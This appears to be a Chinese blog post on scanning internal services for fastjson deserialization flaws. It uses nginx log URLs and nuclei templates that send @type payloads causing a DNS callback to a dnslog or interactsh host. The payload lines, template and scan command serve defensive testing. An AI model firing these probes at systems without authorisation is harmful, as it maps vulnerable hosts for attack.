• 【技术分享】基于nginx流量URL探测fastjson DNS嗅探实践


    引言

    基于nginx流量URL探测fastjson DNS 嗅探, 众所周知, fastjson漏洞频出,最保险的方式是fastjson配置safemode参数来防止fastjson反序列化漏洞, 但是有的时候会有safemode参数配置错误或者忘记配置的情况,这里介绍一个通过payload扫描识别fastjson DNS 嗅探的方法。

    主要思路:

    1. 收集一下nginx的流量, 要求是 domain+ URL 路径
    2. 自定义payload,制作nuclei漏洞扫描模板
    3. 使用nuclei进行漏洞扫描,观察是否有dns嗅探行为。

    收集nginx的流量

    对于web扫描,如果只获取域名而不知有哪些接口,这样的扫描能力是有限的,这种方式属于"黑盒扫描"。 有时漏洞可能隐蔽在业务的API接口中, 因此在获取业务的具体接口的基础上进行扫描, 可以得到较好的扫描效果。 nginx日志信息中有大量的URL请求,可以收集并用于安全扫描, 这种方式可以看作"灰盒扫描"。
    操作要点:

    • 了解nginx日志字段信息
    • 了解如何获取业务的nginx流量日志
    • 通过脚本或者SQL 将nginx字段拼接为URL的形式

    制作nuclei自定义payload

    nuclei是一个开源的基于漏洞模板的扫描工具, 可以利用该工具自定义payload进行扫描。
    目标是识别fastjson 的dns嗅探接口,选取的payload如下:

    {"@type":"java.net.Inet4Address","val":"vqzdxl.dnslog.cn"} 
    {"@type":"java.net.Inet6Address","val":"vqzdxl.dnslog.cn"} 
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"vqzdxl.dnslog.cn"}} 
    {{"@type":"java.net.URL","val":"vqzdxl.dnslog.cn"}:"x"}  
    
    • 1
    • 2
    • 3
    • 4

    下面制作nuclei模板(复用fastjson其他漏洞的模板,只关注请求即可):

    
    id: fastjson-dns-detect
    
    info:
      name: Fastjson 1.2.62 - Remote Code Execution
      author: zh
      severity: critical
      description: Fastjson 1.2.62 is susceptible to a deserialization remote code execution vulnerability.
      reference:
        - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson
        - https://github.com/wyzxxz/fastjson_rce_tool
      classification:
        cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
        cvss-score: 10.0
        cwe-id: CWE-77
      tags: fastjson,rce,deserialization,oast
    
    requests:
      - raw:
          - |
            POST / HTTP/1.1
            Host: {{Hostname}}
            Content-Type: application/json
    
            {
               "@type":"java.net.Inet4Address",
               "val":"{{interactsh-url}}"     
            }
    
        matchers-condition: and
        matchers:
          - type: word
            part: interactsh_protocol   # Confirms DNS Interaction
            words:
              - "dns"
    
          - type: status
            negative: true
            status:
              - 200
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    说明:

    • 上面展示的是一个payload模板的制作,如果有多个payload,可以制作不同的模板文件。
    • yaml中的id字段可以设置为不通的名称用作区分
    • dnslog地址可以使用interactsh ,也可以自己申请临时的dnslog。

    执行扫描任务

    执行下面命令进行扫描,请根据自己的情况修改命令:

    cat url-subdomain.txt | nuclei -t ./fastjson.yaml,./fastjson_1.yaml,./fastjson_2.yaml,./fastjson_3.yaml  -debug
    
    • 1

    参数解释:

    url-subdomain.txt    URL路径文件
    -t   指定nuclei模板
    -debug  开启debug模式, 看到请求
    
    • 1
    • 2
    • 3

    实践结果

    在扫描过程中,成功识别到dns嗅探的API接口。

  • 相关阅读:
    SAP FI/SD的集成-VKOA科目确定
    外设驱动库开发笔记48:MCP4725单通道DAC驱动
    shiro授权-SSM
    redis介绍&了解
    基础 | Spring - [单例创建过程]
    浅谈AVL树
    趣解设计模式之《庞大的组织架构带来的烦恼》
    Node.js 中解析 HTML 的方法介绍
    Java 将Excel转为UOS
    【OpenCV】图像基本操作
  • 原文地址:https://blog.csdn.net/weixin_37682263/article/details/126021791